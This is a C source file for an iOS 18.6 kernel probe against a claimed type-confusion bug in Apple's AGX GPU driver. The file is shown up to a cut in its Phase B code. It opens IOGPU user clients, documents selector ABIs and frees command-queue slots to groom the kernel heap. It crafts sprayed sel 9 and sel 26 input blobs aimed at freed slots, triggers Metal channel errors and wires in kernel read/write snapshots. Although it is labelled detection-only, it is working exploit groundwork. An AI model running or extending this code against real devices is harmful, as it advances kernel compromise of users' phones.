/*
 * agx-typeconf-probe.c — AGX stamp-slot type-confusion probe (iOS 18.6 / 22G86)
 *
 * Bug (AGX-TYPE-CONFUSION.md):
 *   handleChannelErrorEvent @ 0xfffffff00880ae2c
 *   obj = AGXFirmwareResourceStack([this+0x1f8]).getElement(stamp_idx)
 *   lck_mtx_lock([obj+0x228]); walk [obj+0x220];   // NO type check on 18.6
 *
 * User surface: IOGPUDeviceUserClient sMethods @ 0xfffffff007e7f3a0 (64 sel).
 *   sel 0  s_new_command_queue     inS=0 inSt=0   outS=0 outSt=64   (OUTPUT ONLY)
 *   sel 1  s_delete_command_queue  inS=0 inSt=0   outS=0 outSt=64   (OUTPUT ONLY)
 *   sel 9  s_new_resource          inS=0 inSt=UNBND outS=0 outSt=UNBND
 *   sel 26 s_submit_command_buffers inS=4 inSt=UNBND outS=0 outSt=0
 *
 * ABI RULE: outputStructCnt must be a size_t.  A uint32_t makes the kernel
 * read 8 bytes and fail the structureOutputSize==64 equality check
 * (kIOReturnBadArgument).  sel 0/1 take NO input — sending 64B of input
 * also fails the inSt==0 check.
 *
 * FIRST PASS = DETECTION ONLY. No kernel writes. Every kr is data.
 *
 * Build (device):
 *   clang -arch arm64e -isysroot $SDK -fno-objc-arc -c agx-typeconf-probe.c
 *   (Metal.framework already linked by KexProofV2 — runtime lookup, no
 *    ObjC required in this file.)
 * Smoke (host):
 *   clang -DAGX_TYPECONF_PROBE_MAIN -o agx-typeconf-probe agx-typeconf-probe.c
 */

#include "agx-typeconf-probe.h"

#include <IOKit/IOKitLib.h>
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdint.h>

#if defined(__APPLE__)
#include <dlfcn.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <signal.h>
#include <setjmp.h>
#endif

/* ------------------------------------------------------------------ */
/* IOKit availability guards (SDK / Theos shims)                       */
/* ------------------------------------------------------------------ */
#ifndef kIOMasterPortDefault
#define kIOMasterPortDefault 0
#endif
#ifndef KERN_INVALID_ARGUMENT
#define KERN_INVALID_ARGUMENT 4
#endif
#ifndef KERN_SUCCESS
#define KERN_SUCCESS 0
#endif

/* ------------------------------------------------------------------ */
/* Crash-safety: last-resort signal guard.                              */
/* The probe must NEVER take the app down.  If a buggy external call   */
/* (IOKit / Metal / objc_msgSend / a stale kread ptr) hits SIGSEGV,    */
/* SIGBUS, SIGILL or abort()'s SIGABRT, longjmp out and write an       */
/* error report instead of dying.                                      */
/* ------------------------------------------------------------------ */
#if defined(__APPLE__)
static sigjmp_buf g_agx_jmp;
static volatile sig_atomic_t g_agx_jmp_on;
static struct sigaction g_agx_old_segv, g_agx_old_bus, g_agx_old_ill, g_agx_old_abrt;
static int g_agx_handlers_saved;

static void agx_crash_handler(int sig)
{
    if (g_agx_jmp_on) {
        g_agx_jmp_on = 0;
        siglongjmp(g_agx_jmp, sig);
    }
    signal(sig, SIG_DFL);
    raise(sig);
}

static void agx_crash_guard_install(void)
{
    struct sigaction sa;
    memset(&sa, 0, sizeof(sa));
    sa.sa_handler = agx_crash_handler;
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = 0;
    if (!g_agx_handlers_saved) {
        sigaction(SIGSEGV, &sa, &g_agx_old_segv);
        sigaction(SIGBUS,  &sa, &g_agx_old_bus);
        sigaction(SIGILL,  &sa, &g_agx_old_ill);
        sigaction(SIGABRT, &sa, &g_agx_old_abrt);
        g_agx_handlers_saved = 1;
    } else {
        sigaction(SIGSEGV, &sa, NULL);
        sigaction(SIGBUS,  &sa, NULL);
        sigaction(SIGILL,  &sa, NULL);
        sigaction(SIGABRT, &sa, NULL);
    }
}

static void agx_crash_guard_remove(void)
{
    if (!g_agx_handlers_saved) return;
    sigaction(SIGSEGV, &g_agx_old_segv, NULL);
    sigaction(SIGBUS,  &g_agx_old_bus,  NULL);
    sigaction(SIGILL,  &g_agx_old_ill,  NULL);
    sigaction(SIGABRT, &g_agx_old_abrt, NULL);
    g_agx_handlers_saved = 0;
    g_agx_jmp_on = 0;
}
#else
static void agx_crash_guard_install(void) {}
static void agx_crash_guard_remove(void) {}
#endif

/* Reject obviously-bad function pointers (NULL, small integers, kernel VAs). */
static int agx_fnptr_plausible(const void *p)
{
    uintptr_t v = (uintptr_t)p;
    if (v < 0x10000u) return 0;
    /* Userland code on arm64e iOS sits well below the kernel window. */
    if (v >= 0xfffffff000000000ULL) return 0;
    return 1;
}

/* ------------------------------------------------------------------ */
/* Internal state                                                     */
/* ------------------------------------------------------------------ */
typedef struct {
    char   *buf;
    size_t  cap;
    size_t  len;
} rpt_t;

static void rpt_init(rpt_t *r, char *buf, size_t cap)
{
    r->buf = buf;
    r->cap = cap;
    r->len = 0;
    if (cap) buf[0] = 0;
}

static void rpt_fmt(rpt_t *r, const char *fmt, ...)
{
    if (!r->buf || r->len + 1 >= r->cap) return;
    va_list ap;
    va_start(ap, fmt);
    int n = vsnprintf(r->buf + r->len, r->cap - r->len, fmt, ap);
    va_end(ap);
    if (n > 0) {
        size_t un = (size_t)n;
        if (un >= r->cap - r->len) un = r->cap - r->len - 1;
        r->len += un;
    }
}

static const char *kr_name(kern_return_t kr)
{
    switch (kr) {
    case KERN_SUCCESS:            return "SUCCESS";
    case KERN_INVALID_ARGUMENT:   return "INVALID_ARGUMENT";
    case KERN_INVALID_RIGHT:      return "INVALID_RIGHT";
    case KERN_INVALID_CAPABILITY: return "INVALID_CAPABILITY";
    case KERN_INVALID_HOST:       return "INVALID_HOST";
    case KERN_INVALID_TASK:       return "INVALID_TASK";
    case KERN_INVALID_NAME:       return "INVALID_NAME";
    case KERN_RESOURCE_SHORTAGE:  return "RESOURCE_SHORTAGE";
    case KERN_NO_ACCESS:          return "NO_ACCESS";
    case KERN_PROTECTION_FAILURE: return "PROTECTION_FAILURE";
    default:                      return "OTHER";
    }
}

/* ------------------------------------------------------------------ */
/* IOKit open paths                                                   */
/*                                                                     */
/* 1. IOServiceMatching("IOGPUDevice")  — canonical name              */
/* 2. IOServiceMatching("IOGPU")        — gartProbeReport uses this   */
/* 3. IOServiceMatching("AGXDevice")    — AGXDeviceUserClient sibling */
/*                                                                     */
/* If all three fail from the sandbox, the probe reports that and the  */
/* integration doc tells the caller to fall back to Metal              */
/* (MTLCreateSystemDefaultDevice → underlying IOGPUDevice).            */
/* ------------------------------------------------------------------ */
kern_return_t agx_tc_open(io_connect_t *out_conn, int *out_path)
{
    static const char *names[] = { "IOGPUDevice", "IOGPU", "AGXDevice" };
    int types[] = { 0, 1, 0 };   /* connection types to try per name  */
    kern_return_t last = KERN_INVALID_ARGUMENT;

    if (!out_conn) return KERN_INVALID_ARGUMENT;
    *out_conn = 0;
    if (out_path) *out_path = -1;

    for (unsigned ni = 0; ni < sizeof(names) / sizeof(names[0]); ni++) {
        for (int ti = 0; ti < 2; ti++) {
            /* IOServiceMatching may return NULL (OOM / bad name).  Passing
               NULL into IOServiceGetMatchingService is undefined and some
               IOKit versions CFRelease the dict — crash.  Skip instead. */
            CFDictionaryRef match = IOServiceMatching(names[ni]);
            if (!match) {
                last = KERN_INVALID_ARGUMENT;
                continue;
            }
            io_service_t svc = IOServiceGetMatchingService(
                kIOMasterPortDefault, match);
            /* IOServiceGetMatchingService consumes `match` whether it
               succeeds or not. */
            if (!svc) continue;
            io_connect_t conn = 0;
            kern_return_t kr = IOServiceOpen(svc, mach_task_self(),
                                             (uint32_t)types[ti], &conn);
            IOObjectRelease(svc);
            if (kr == KERN_SUCCESS && conn) {
                *out_conn = conn;
                if (out_path) *out_path = (int)(ni * 2 + ti);
                return KERN_SUCCESS;
            }
            /* Open failed: make sure we never hand back a stale port. */
            if (kr == KERN_SUCCESS && conn) {
                IOServiceClose(conn);
                conn = 0;
            }
            last = kr;
        }
    }
    return last;
}

kern_return_t agx_tc_close(io_connect_t conn)
{
    if (!conn) return KERN_INVALID_ARGUMENT;
    return IOServiceClose(conn);
}

/* ------------------------------------------------------------------ */
/* Selector wrappers                                                  */
/* ------------------------------------------------------------------ */

/* sel 0 — s_new_command_queue.
 * ABI (sMethods 0xfffffff007e7f3a0 + 0*24):
 *   checkScalarIn=0  checkStructIn=0  checkScalarOut=0  checkStructOut=64
 * Therefore: NO input at all, EXACTLY 64 bytes of structure output.
 * The handler writes a 64-byte queue descriptor to structureOutput and
 * returns 0.  out_cnt MUST be a size_t — a uint32_t makes the kernel
 * read 8 bytes and fail the structureOutputSize==64 check (BadArgument).
 */
kern_return_t agx_tc_create_queue(io_connect_t conn, void *out64)
{
    if (!conn || !out64) return KERN_INVALID_ARGUMENT;
    size_t out_sz = AGX_QUEUE_OUT_SIZE;
    return IOConnectCallMethod(
        conn, AGX_SEL_NEW_COMMAND_QUEUE,
        NULL, 0, NULL, 0,
        NULL, NULL, out64, &out_sz);
}

/* sel 1 — s_delete_command_queue.
 * ABI (sMethods + 1*24): inS=0 inSt=0 outS=0 outSt=64.
 * Same shape as sel 0: NO input, EXACTLY 64 bytes of structure output.
 * On 18.6 the handler copies a 64-byte device string into structureOutput
 * (strlcpy) and returns 0 — it does not take a queue descriptor.
 * out64 receives that 64-byte snapshot; the argument is ignored by the
 * kernel, so passing the sel-0 descriptor is harmless.
 */
kern_return_t agx_tc_delete_queue(io_connect_t conn, void *out64)
{
    if (!conn) return KERN_INVALID_ARGUMENT;
    uint8_t tmp[AGX_QUEUE_OUT_SIZE];
    void *dst = out64 ? out64 : tmp;
    size_t out_sz = AGX_QUEUE_OUT_SIZE;
    return IOConnectCallMethod(
        conn, AGX_SEL_DELETE_COMMAND_QUEUE,
        NULL, 0, NULL, 0,
        NULL, NULL, dst, &out_sz);
}

/* Harmless baseline query (sel 17/18/22). */
kern_return_t agx_tc_query(io_connect_t conn, uint32_t sel,
                           void *out, size_t out_len, size_t *out_used)
{
    if (!conn || !out || !out_len) return KERN_INVALID_ARGUMENT;
    size_t oc = out_len;
    kern_return_t kr = IOConnectCallMethod(
        conn, sel,
        NULL, 0, NULL, 0,
        NULL, NULL, out, &oc);
    if (out_used) *out_used = oc;
    return kr;
}

/* sel 9 — s_new_resource (in+out UNBOUNDED).
 * ABI (sMethods + 9*24): inS=0 inSt=UNBND outS=0 outSt=UNBND.
 * No scalars.  structureInput is a resource descriptor; the handler
 * rejects inputs shorter than 0x58 bytes (cmp x3, #0x58) and then calls
 * create_resource(target, in, out, &args+0x60).  Output is unbounded.
 * in_len MUST be a size_t (not uint32_t) — same ABI trap as sel 0.
 */
kern_return_t agx_tc_sel9(io_connect_t conn,
                          const void *in, size_t in_len,
                          void *out, size_t *out_len)
{
    if (!conn) return KERN_INVALID_ARGUMENT;
    size_t oc = out_len ? *out_len : 0;
    kern_return_t kr = IOConnectCallMethod(
        conn, AGX_SEL_UNBOUNDED_IO,
        NULL, 0, in, in_len,
        NULL, NULL, out, &oc);
    if (out_len) *out_len = oc;
    return kr;
}

/* sel 26 — s_submit_command_buffers.
 * ABI (sMethods + 26*24): inS=4 inSt=UNBND outS=0 outSt=0.
 * Exactly 4 scalars + unbounded structure input, NO output.
 *
 * Input blob layout (from the 18.6 handler at 0xfffffff009e6694c):
 *   +0x00  u32 handle          (queue / command-buffer id, looked up
 *                               via [target+0x120])
 *   +0x04  u32 pad
 *   +0x08  u64 reserved
 *   +0x10  u64 elem_count      \
 *   +0x18  u64 elem_size       /  product must equal in_len exactly
 *   +0x20… element array
 *
 * The handler computes elem_count * elem_size (umulh overflow check)
 * and compares it to the structure input size; a mismatch returns
 * kIOReturnUnsupported.  scalars[0..3] are free-form (the size check
 * is on the blob, not the scalars).
 */
kern_return_t agx_tc_sel26(io_connect_t conn,
                           const uint64_t scalars[4],
                           const void *in, size_t in_len)
{
    if (!conn) return KERN_INVALID_ARGUMENT;
    return IOConnectCallMethod(
        conn, AGX_SEL_SCALAR4_UNBND_IN,
        scalars, 4, in, in_len,
        NULL, NULL, NULL, NULL);
}

/* ------------------------------------------------------------------ */
/* Metal error trigger (Phase C).                                      */
/*                                                                     */
/* Submits a command buffer that will fail, then waits for completion. */
/* A GPU / encoder error is what pushes AGFIChannelErrorEventArgs into */
/* the firmware ring — the thing handleChannelErrorEvent consumes.     */
/*                                                                     */
/* Implemented via the ObjC runtime so this file stays pure C and      */
/* builds under Theos (`-fno-objc-arc`, no #import <Metal/Metal.h>).   */
/* Metal.framework is already in KexProofV2_FRAMEWORKS.                */
/* ------------------------------------------------------------------ */
#if defined(__APPLE__)

typedef void *agx_id;

/* MTLCommandBufferStatus */
enum {
    AGX_MTL_CMD_COMPLETE       = 0,
    AGX_MTL_CMD_PENDING        = 2,
    AGX_MTL_CMD_SCHEDULED      = 3,
    AGX_MTL_CMD_ERROR          = 4,
};

/* objc_msgSend shims — keep casts local so arm64e stays happy.
 * Every cast MUST match the real method signature or PAC / AAPCS64
 * will trash registers and SIGSEGV the process. */
static inline agx_id agx_msg0(agx_id o, SEL s)
{
    if (!o || !s) return NULL;
    return ((agx_id (*)(agx_id, SEL))objc_msgSend)(o, s);
}
static inline void agx_msg_void0(agx_id o, SEL s)
{
    if (!o || !s) return;
    ((void (*)(agx_id, SEL))objc_msgSend)(o, s);
}
static inline long long agx_msg_ll0(agx_id o, SEL s)
{
    if (!o || !s) return -1;
    return ((long long (*)(agx_id, SEL))objc_msgSend)(o, s);
}
/* -[NSObject respondsToSelector:] → BOOL */
static inline int agx_msg_responds(agx_id o, SEL s_rsp, SEL s)
{
    if (!o || !s_rsp || !s) return 0;
    return ((signed char (*)(agx_id, SEL, SEL))objc_msgSend)(o, s_rsp, s) ? 1 : 0;
}

/* MTLSize is {NSUInteger width, height, depth} = 24 bytes.  AAPCS64
 * passes composites > 16 bytes by invisible reference; declaring the
 * struct by value in the fn-ptr type makes the compiler emit that. */
typedef struct { unsigned long long w, h, d; } agx_mtl_size;

static inline void agx_msg_enc_dispatch(agx_id o, SEL s, agx_mtl_size a, agx_mtl_size b)
{
    if (!o || !s) return;
    ((void (*)(agx_id, SEL, agx_mtl_size, agx_mtl_size))objc_msgSend)(o, s, a, b);
}

static agx_id agx_mtl_create_device(void)
{
    typedef agx_id (*fn_t)(void);
    static fn_t fn;
    static int looked;
    if (!looked) {
        looked = 1;
        void *p = dlsym(RTLD_DEFAULT, "MTLCreateSystemDefaultDevice");
        if (agx_fnptr_plausible(p)) fn = (fn_t)p;
    }
    return fn ? fn() : NULL;
}

int agx_tc_metal_error_trigger(int *out_status, int *out_err)
{
    if (out_status) *out_status = -1;
    if (out_err)    *out_err    = 0;

    /* Nil-check cascade: every external object and selector is verified
     * before the next call.  A single unchecked objc_msgSend on arm64e
     * is enough to SIGSEGV the whole app. */
    agx_id dev = agx_mtl_create_device();
    if (!dev) return -1;

    SEL s_responds     = sel_registerName("respondsToSelector:");
    SEL s_newQ         = sel_registerName("newCommandQueue");
    SEL s_cmdBuf       = sel_registerName("commandBuffer");
    SEL s_commit       = sel_registerName("commit");
    SEL s_wait         = sel_registerName("waitUntilCompleted");
    SEL s_status       = sel_registerName("status");
    SEL s_computeEnc   = sel_registerName("computeCommandEncoder");
    SEL s_endEnc       = sel_registerName("endEncoding");
    SEL s_dispatchTG   = sel_registerName("dispatchThreadgroups:threadsPerThreadgroup:");

    if (!s_responds || !s_newQ || !s_cmdBuf || !s_commit || !s_wait ||
        !s_status || !s_computeEnc || !s_endEnc || !s_dispatchTG)
        return -1;

#define AGX_RESPONDS(o, s) agx_msg_responds((o), s_responds, (s))

    if (!AGX_RESPONDS(dev, s_newQ)) return -1;
    agx_id q = agx_msg0(dev, s_newQ);
    if (!q) return -1;

    if (!AGX_RESPONDS(q, s_cmdBuf)) return -1;
    agx_id cb = agx_msg0(q, s_cmdBuf);
    if (!cb) return -1;

    /* Strategy: encode a compute dispatch with NO pipeline state bound.
     * Metal rejects it at commit → MTLCommandBufferStatusError, which is
     * exactly the ChannelError path we want to poke.
     * Only touch the encoder / dispatch when respondsToSelector says the
     * method exists — a missing selector becomes doesNotRecognizeSelector:
     * (NSException → abort) which C cannot catch. */
    if (AGX_RESPONDS(cb, s_computeEnc)) {
        agx_id enc = agx_msg0(cb, s_computeEnc);
        if (enc && AGX_RESPONDS(enc, s_dispatchTG) && AGX_RESPONDS(enc, s_endEnc)) {
            agx_mtl_size tg   = { 1, 1, 1 };
            agx_mtl_size thrd = { 1, 1, 1 };
            agx_msg_enc_dispatch(enc, s_dispatchTG, tg, thrd);
            agx_msg_void0(enc, s_endEnc);
        } else if (enc && AGX_RESPONDS(enc, s_endEnc)) {
            /* No dispatch method — close the encoder so the buffer is valid. */
            agx_msg_void0(enc, s_endEnc);
        }
        /* enc == NULL → just commit the empty buffer below. */
    }

    if (AGX_RESPONDS(cb, s_commit)) agx_msg_void0(cb, s_commit);
    if (AGX_RESPONDS(cb, s_wait))   agx_msg_void0(cb, s_wait);

    int status = -1;
    if (AGX_RESPONDS(cb, s_status)) status = (int)agx_msg_ll0(cb, s_status);
    if (out_status) *out_status = status;
    if (out_err)    *out_err    = (status == AGX_MTL_CMD_ERROR) ? 1 : 0;
#undef AGX_RESPONDS
    return 0;
}

#else /* !__APPLE__ — host smoke / non-Darwin */

int agx_tc_metal_error_trigger(int *out_status, int *out_err)
{
    if (out_status) *out_status = -1;
    if (out_err)    *out_err    = 0;
    return -1;
}

#endif /* __APPLE__ */

/* ------------------------------------------------------------------ */
/* Phase A helper: probe the "other" selectors that might allocate     */
/* non-Channel stamp slots (AGXTimeStampQueue, AGXLateEvalEvent, …).   */
/* ------------------------------------------------------------------ */
static void phase_a_other_sels(io_connect_t conn, agx_tc_result_t *res)
{
    /* Small harmless selectors — record kr only. */
    static const uint32_t small_sels[] = {
        3, 4, 5, 8, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22,
        24, 25, 27, 28, 29, 30, 31
    };
    uint8_t outb[512];
    for (unsigned i = 0; i < sizeof(small_sels) / sizeof(small_sels[0]); i++) {
        uint32_t sel = small_sels[i];
        memset(outb, 0, sizeof(outb));
        size_t oc = sizeof(outb);
        kern_return_t kr = IOConnectCallMethod(
            conn, sel, NULL, 0, NULL, 0, NULL, NULL, outb, &oc);
        res->total_calls++;
        if (kr == KERN_SUCCESS) res->other_sel_ok++;
        else                    res->other_sel_fail++;
    }
}

/* ------------------------------------------------------------------ */
/* Phase B: crafted sel 9 / sel 26 blobs.                              */
/*                                                                     */
/* We do NOT know the exact struct layout of sel 9 / sel 26 on 18.6.  */
/* We spray the blob with candidate stamp indices and type words so    */
/* that IF either selector interprets user bytes as a stamp index, it  */
/* lands on a slot we just recycled.  Every kr is recorded.            */
/*                                                                     */
/* handle = sel 0 output +0x08 queue ptr low 32 bits.  sel 26 looks   */
/* this up via [target+0x120]; a deleted / stamp-index handle fails   */
/* with kIOReturnUnsupported.                                          */
/* ------------------------------------------------------------------ */
static void craft_sel9_blob(uint8_t *b, size_t len, uint32_t stamp_idx,
                            uint32_t handle, uint64_t qptr)
{
    memset(b, 0, len);
    /* Fill every u32 slot with the candidate index, then drop a few
       magic markers so a kread of a confused object can be identified. */
    for (size_t off = 0; off + 4 <= len; off += 4) {
        uint32_t v = stamp_idx + (uint32_t)(off / 4);
        memcpy(b + off, &v, 4);
    }
    /* Leading header-ish fields seen in other IOGPU structs.
       Mirror the sel 0 descriptor: +0x08 carries the queue ptr. */
    uint32_t hdr[8] = {
        1,          /* version / type discriminator */
        stamp_idx,  /* candidate stamp index        */
        0x41414141, /* magic A                      */
        0x42424242, /* magic B                      */
        handle,     /* live/freed queue handle      */
        0, 0, 0
    };
    if (len >= sizeof(hdr)) memcpy(b, hdr, sizeof(hdr));
    /* Plant the full queue ptr at the descriptor offset so a parser
       that expects a sel-0-shaped object finds a real pointer. */
    if (len >= 0x10) memcpy(b + AGX_QOUT_QPTR_OFF, &qptr, 8);
    /* Also stamp the handle at a few other plausible handle slots. */
    if (len >= 0x28) memcpy(b + 0x18, &handle, 4);
    if (len >= 0x44) memcpy(b + 0x40, &handle, 4);
}

static void craft_sel26_blob(uint8_t *b, size_t len,
                             uint32_t handle, uint32_t stamp_idx)
{
    memset(b, 0, len);
    /* sel 26 (s_submit_command_buffers) input layout (18.6):
     *   +0x00 u32 handle, +0x10 u64 elem_count, +0x18 u64 elem_size.
     * The handler requires elem_count * elem_size == in_len, otherwise
     * it returns kIOReturnUnsupported before touching the handle.
     * Use elem_count = len, elem_size = 1 so the product is exact.
     *
     * +0x00 MUST be a LIVE queue handle (low 32 bits of sel 0 out+0x08),
     * NOT a stamp index — a deleted/stale handle fails the
     * [target+0x120] lookup with Unsupported. */
    memcpy(b + 0x00, &handle, 4);
    uint64_t elem_count = (uint64_t)len;
    uint64_t elem_size  = 1;
    memcpy(b + 0x10, &elem_count, 8);
    memcpy(b + 0x18, &elem_size,  8);
    /* Spray the remainder with the stamp index so a confused reader of
       the element array lands on a slot we control. */
    for (size_t off = 0x20; off + 4 <= len; off += 4) {
        uint32_t v = stamp_idx ^ (uint32_t)off;
        memcpy(b + off, &v, 4);
    }
}

/* ------------------------------------------------------------------ */
/* KRW observation: snapshot +0x220 / +0x228 of a candidate object.    */
/* Returns 0 if the snapshot was taken, -1 otherwise.                  */
/* ------------------------------------------------------------------ */
static int krw_snapshot(const agx_tc_krw_t *krw, uint64_t obj_va,
                        uint64_t *w220, uint64_t *w228, uint32_t *vptr_lo)
{
    if (!krw || !krw->kread || !obj_va) return -1;
    /* Reject a garbage (non-NULL) kread pointer before calling it. */
    if (!agx_fnptr_plausible((const void *)krw->kread)) return -1;
    uint8_t raw[0x230];
    memset(raw, 0, sizeof(raw));
    if (krw->kread(obj_va, raw, sizeof(raw)) != 0) return -1;
    uint64_t a = 0, b = 0, vp = 0;
    memcpy(&vp, raw + 0x00, 8);
    memcpy(&a,  raw + 0x220, 8);
    memcpy(&b,  raw + 0x228, 8);
    if (krw->untag) {
        vp = krw->untag(vp);
        a  = krw->untag(a);
        b  = krw->untag(b);
    }
    if (w220)   *w220   = a;
    if (w228)   *w228   = b;
    if (vptr_lo) *vptr_lo = (uint32_t)(vp & 0xffffffffu);
    return 0;
}

/* ------------------------------------------------------------------ */
/* Full probe                                                         */
/* ------------------------------------------------------------------ */
size_t agx_typeconf_probe_run(char *buf, size_t buflen,
                              const agx_tc_krw_t *krw)
{
    /* Never deref a bad report buffer. */
    if (!buf || buflen < 256) {
        if (buf && buflen) buf[0] = 0;
        return 0;
    }

    rpt_t R;
    rpt_init(&R, buf, buflen);
    agx_tc_result_t res;
    memset(&res, 0, sizeof(res));
    res.getuid_val = (int)getuid();

    /* Last-resort crash guard.  If IOKit / Metal / objc_msgSend / a stale
     * kread pointer SIGSEGVs, longjmp here and still emit a [VERIFY] line
     * instead of taking the app down. */
    int crash_sig = 0;
#if defined(__APPLE__)
    agx_crash_guard_install();
    crash_sig = sigsetjmp(g_agx_jmp, 1);
    if (crash_sig) {
        agx_crash_guard_remove();
        rpt_fmt(&R, "\n[FATAL] caught signal %d inside probe — aborted, app survived\n",
                crash_sig);
        rpt_fmt(&R, "  (IOKit / Metal / kread path faulted; no further calls made)\n");
        goto verify;
    }
    g_agx_jmp_on = 1;
#endif

    /* KRW is optional and must carry a plausible kread pointer. */
    const agx_tc_krw_t *krw_ok = NULL;
    if (krw && krw->kread && agx_fnptr_plausible((const void *)krw->kread))
        krw_ok = krw;

    rpt_fmt(&R, "AGX type-confusion probe — iOS 18.6 (22G86) / iPhone16,1\n");
    rpt_fmt(&R, "Bug: handleChannelErrorEvent 0xfffffff00880ae2c — no safeMetaCast on 18.6\n");
    rpt_fmt(&R, "     getElement(stamp_idx) -> obj; lock [obj+0x228]; walk [obj+0x220]\n");
    rpt_fmt(&R, "Surface: IOGPUDeviceUserClient sMethods 0xfffffff007e7f3a0 (64 sel)\n");
    rpt_fmt(&R, "Mode: DETECTION ONLY — no kernel writes, no spray of kernel heap.\n");

    /* ---------- open ---------- */
    int path = -1;
    res.open_kr = agx_tc_open(&res.conn, &path);
    if (res.open_kr != KERN_SUCCESS || !res.conn) {
        rpt_fmt(&R, "\n[open] FAIL kr=%d (%s) — IOGPUDevice not reachable from sandbox\n",
                (int)res.open_kr, kr_name(res.open_kr));
        rpt_fmt(&R, "  tried: IOGPUDevice / IOGPU / AGXDevice, type 0 and 1\n");
        rpt_fmt(&R, "  FALLBACK: Metal error trigger (see AGX-PROBE-INTEGRATION.md §5)\n");
        res.open_metal_hint = 1;

        /* Still fire the Metal error trigger — it is the fallback path
           and the only ChannelError surface left when IOKit is blocked. */
        rpt_fmt(&R, "\n[phase C] Metal error trigger (bad command buffer)\n");
        res.metal_ran = 1;
        res.metal_trigs++;
        int mtl_status = -1, mtl_err = 0;
        int mtl_rc = agx_tc_metal_error_trigger(&mtl_status, &mtl_err);
        res.metal_status = mtl_status;
        res.metal_err    = mtl_err;
        if (mtl_rc == 0) {
            res.metal_ok = 1;
            rpt_fmt(&R, "  metal status=%d err=%d\n", mtl_status, mtl_err);
            if (mtl_err) {
                res.channel_err_fired++;
                rpt_fmt(&R, "  >> Metal command buffer errored — ChannelError candidate\n");
            }
        } else {
            rpt_fmt(&R, "  metal unavailable (no Metal.framework / non-Apple build)\n");
        }
        goto verify;
    }
    switch (path) {
    case 0: case 1: res.open_via_iogpu_device = 1; break;
    case 2: case 3: res.open_via_iogpu = 1;        break;
    default:        res.open_via_agx = 1;          break;
    }
    rpt_fmt(&R, "\n[open] conn=%u path=%s type=%d\n",
            (unsigned)res.conn,
            res.open_via_iogpu_device ? "IOGPUDevice" :
            res.open_via_iogpu        ? "IOGPU" : "AGXDevice",
            path & 1);

    /* ---------- baseline ---------- */
    uint8_t base_out[64];
    memset(base_out, 0, sizeof(base_out));
    size_t base_used = 0;
    res.base_kr = agx_tc_query(res.conn, AGX_SEL_QUERY_SMALL,
                               base_out, sizeof(base_out), &base_used);
    res.base_out_len = (uint32_t)base_used;
    memcpy(res.base_out, base_out,
           base_used < sizeof(res.base_out) ? base_used : sizeof(res.base_out));
    rpt_fmt(&R, "[baseline] sel17 kr=%d (%s) outLen=%u  out=%02x %02x %02x %02x\n",
            (int)res.base_kr, kr_name(res.base_kr), res.base_out_len,
            base_out[0], base_out[1], base_out[2], base_out[3]);

    /* ---------- Phase A: stamp pressure ---------- */
    rpt_fmt(&R, "\n[phase A] create %d command queues (sel 0) — allocate stamp slots\n",
            AGX_MAX_QUEUES);
    for (uint32_t i = 0; i < AGX_MAX_QUEUES; i++) {
        memset(res.queue_out[i], 0, AGX_QUEUE_OUT_SIZE);
        res.queue_delete_kr[i] = (kern_return_t)-1;  /* not attempted */
        kern_return_t kr = agx_tc_create_queue(res.conn, res.queue_out[i]);
        res.queue_create_kr[i] = kr;
        res.total_calls++;
        if (kr == KERN_SUCCESS) {
            res.queues_created++;
            res.create_kr_ok++;
        } else {
            res.total_errors++;
            rpt_fmt(&R, "  q[%u] create FAIL kr=%d (%s)\n",
                    i, (int)kr, kr_name(kr));
            break;  /* stop creating once we hit the limit */
        }
    }
    rpt_fmt(&R, "  created=%u\n", res.queues_created);

    /* Delete every OTHER queue under "load" — free stamp slots while
       the remaining queues are still live.  The LIVE queues must stay
       alive through Phase B: sel 26 needs a live handle, and sel 9's
       create fails with NoResources when every queue is gone. */
    for (uint32_t i = 0; i < res.queues_created; i += 2) {
        kern_return_t kr = agx_tc_delete_queue(res.conn, res.queue_out[i]);
        res.queue_delete_kr[i] = kr;
        res.total_calls++;
        if (kr == KERN_SUCCESS) {
            res.queues_deleted++;
        } else {
            res.total_errors++;
            rpt_fmt(&R, "  q[%u] delete FAIL kr=%d (%s)\n",
                    i, (int)kr, kr_name(kr));
        }
    }
    res.queues_kept = res.queues_created - res.queues_deleted;
    rpt_fmt(&R, "[phase A] deleted=%u kept=%u (live queues stay up for Phase B)\n",
            res.queues_deleted, res.queues_kept);

    /* Pick identities for Phase B:
     *   live  — odd index (kept), handle from its sel 0 out+0x08
     *   freed — even index (deleted), used for the UAF-side attempts */
    res.live_idx  = (res.queues_created > 1) ? 1 : 0;
    res.freed_idx = 0;
    if (res.queues_created > 1) {
        res.live_qptr  = agx_tc_queue_ptr(res.queue_out[res.live_idx]);
        res.live_handle = agx_tc_queue_handle(res.queue_out[res.live_idx]);
    }
    rpt_fmt(&R, "[phase A] live q[%u] qptr=0x%llx handle=0x%x | freed q[%u]\n",
            res.live_idx, (unsigned long long)res.live_qptr, res.live_handle,
            res.freed_idx);

    /* Immediately allocate non-Channel objects that might reuse the
       freed stamp slots: call the "other" selectors. */
    rpt_fmt(&R, "[phase A] other-sel pressure (TimeStampQueue / LateEvalEvent candidates)\n");
    phase_a_other_sels(res.conn, &res);
    rpt_fmt(&R, "  other_sel ok=%u fail=%u\n", res.other_sel_ok, res.other_sel_fail);

    /* KRW pre-snapshot: try to find a live stamp slot object.  We do not
       know the resource-stack base from userspace, so we only snapshot
       when the caller supplied a candidate VA via krw->self_task_va as a
       probe anchor (optional). */
    if (krw_ok && krw_ok->kread) {
        res.krw_ran = 1;
        uint64_t anchor = krw_ok->self_task_va;   /* reuse as generic anchor */
        if (anchor) {
            krw_snapshot(krw_ok, anchor, &res.slot_220_before,
                         &res.slot_228_before, &res.slot_type_before);
            res.slot_va_seen = anchor;
        }
    }

    /* ---------- Phase B: ChannelError trigger attempts ---------- */
    /* Live queues are still up.  First try sel 9 / sel 26 with a LIVE
       queue handle (the NoResources / Unsupported we saw was from
       targeting a deleted slot with a stamp index).  Then aim at the
       freed slots for the UAF side. */
    rpt_fmt(&R, "\n[phase B] ChannelError trigger attempts (sel 9 / sel 26)\n");
    rpt_fmt(&R, "  live q[%u] handle=0x%x qptr=0x%llx — targeting freed q[%u] next\n",
            res.live_idx, res.live_handle,
